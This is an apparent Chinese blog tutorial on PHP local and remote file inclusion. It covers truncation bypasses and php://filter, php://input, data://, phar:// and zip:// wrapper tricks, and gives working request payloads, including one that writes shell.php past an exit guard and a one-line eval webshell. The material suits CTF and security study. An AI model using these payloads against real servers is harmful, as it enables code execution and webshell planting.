• 文件包含


    文件包含给开发人员带来了极大的便利,当网站需要一样的页面或模板时,直接包含需要的网页,就没必要重复编写代码,且需要更改页面的时候,只需修改包含的页面,带来极大的便利的同时,也带了巨大的威胁

    在PHP中文件包含函数分为四个

    require()
    
    require_once()
    
    include()
    
    include_once()

    其中require和include的区别是,require出现错误的时候,会直接报错并退出程序的执行,而include包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行。

    require_once和include_once则只包含一次

    不管它们里面包含的是什么,图片也好,文本也好,都会被函数当成PHP代码解析,所以文件包含运用不当会给服务器带来极大的威胁

    文件包含分为两类,即本地文件包含LFI(Local File Inclusion)和远程文件包含RFI (Remote File Inclusion)

    本地包含就可以包含服务器本地的文件

    远程文件包含可以包含远程的文件,且远程文件包含危害性比本地包含危害还大

    远程文件包含还需要PHP配置文件中打开以下两个配置,但是从PHP5.2开始allow_url_include默认为Off

    allow_url_fopen = On
    
    allow_url_include = On

     比如我们有个代码,因为没有任何的过滤机制,导致可以任意的进行本地文件包含

    <?php
       include($_GET['file']);
    ?>

    可以包含一些敏感信息如/etc/passwd,如果上传了图片马,则可以直接包含利用

     远程文件包含测试,包含远程服务器的1.txt, 其中1.txt内容为 <?php phpinfo()?>

     一些绕过方式和技巧

    1、%00绕过

    但是受magic_quotes_gpc和addslashes等函数的过滤,同时PHP 5.3之后版本全面修复

    现在代码修改这样,只能用html,

    <?php
    include($_GET['file'].html);
    ?>

    但是可以用%00来截断

       2、路径长度截断

    条件:windows OS,点号需要长于256;linux OS 长于4096

    Windows下目录最大长度为256字节,超出的部分会被丢弃

    Linux下目录最大长度为4096字节,超出的部分会被丢弃。

    但是本地测试失败

    3、点号截断

    条件:windows OS,点号需要长于256

    同样本地测试失败(求懂得大佬留言)

    远程文件包含绕过

    测试代码

    
    
    <?php
    include($_GET['file'].html);
    ?>

    用?进行绕过

    引用《代码审计:企业级Web代码安全架构》访问http://remotehost/1.txt和http//remotehost/1.txt?.php返回结果是一样的,webserver会把?之后的内容当成请求参数,txt不在webserver里面解析,参数对访问1.txt返回内容不影响,实现伪截断

    同样的测试%23也可以

     下面介绍一些PHP伪协议

    文件包含常常便随着php伪协议,也CTF常用套路

    1、php://filter   可以对文件进行以base64的形式读取

    需要allow_url_include=on

    常用语法 

    ?file=php://filter/convert.base64-encode/resource=xxx.php

    测试

    在用base64解码就即可获得源代码

    利用php://filter写入

    在这个源码中,如果在后门写入php代码,不管怎么样,一开始就被exit掉了,无法继续执行后面的php代码

    <?php
    $content = '<?php exit; ?>';
    $content .= $_GET['txt'];
    file_put_contents($_GET['file'], $content);
    ?>

    我们可以用php://filter写入base64的解码

    构造

    http://localhost/test.php?txt=aPD9waHAgcGhwaW5mbygpOyA/Pg==&file=php://filter/write=convert.base64-decode/resource=shell.php

    其中PD9waHAgcGhwaW5mbygpOyA/Pg==是base64后的 <?php phpinfo(); ?>,在前面加个a或任意字母用来混淆前面的代码(也就是 <?php exit; ?>)

    然后利用php://filter/write写入并用base64解码出来,这样就成功绕过前面的限制写入文件

     2、php://input 可以进行代码执行,写入木马,利用POST传参

    需要allow_url_fopen 和 allow_url_include=on

    CTF套路 碰到file_get_contents函数可以用php://input进行绕过

    这里测试 写入一句话,在www目录下生成shell.php文件

     3、file://  可以读取系统文件

    4、data://伪协议 数据流封装器

    利用了流的概念,和php://input类似,同样可以造成代码执行

    ?file=data:text/plain,<?php phpinfo()?>

    ?file=data://text/plain;base64,执行代码base64加密后

      5、phar://

    不管后缀是什么,都会当做压缩包来解压,PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行

     首先先准备一句话木马,然后把它压缩,在修改成.jpg,然后利用phcar解析

    它会把.jpg解压成.php

    正常解压需要知道解压后的文件名字

     

    6、zip://

    可以访问压缩文件中的子文件,且不需要指定后缀名

    先准备一个.txt文件,里面的内容为 <?php eval($_REQUEST['cmd']);?>,然后进行压缩,这里压缩成test.zip,上传到www目录下面

    然后用zip伪协议进行命令执行

    格式: zip://压缩包名#压缩包子文件名            

    以上内容参考

    https://www.freebuf.com/articles/web/182280.html

    https://blog.csdn.net/qq_33020901/article/details/82684483

  • 相关阅读:
    网站前台性能优化教程
    解决Jboss打开run.bat时闪退不能启动的方法
    如何讲解自己开发的程序
    数据库调优教程汇总
    数据库调优教程(十三) MySQL数据库其他优化方法
    数据库调优教程(十二) 优化sql语句
    数据库调优教程(十一) 设计一张漂亮的表
    数据库调优教程(十) 【精华章节】解决like ’%str’ 时索引不被使用的4种方法
    数据库调优教程(九) 添加了索引但不被使用的几种常见可能
    Redis Cluster 实践
  • 原文地址:https://www.cnblogs.com/gaonuoqi/p/11947710.html
Copyright © 2020-2023  润新知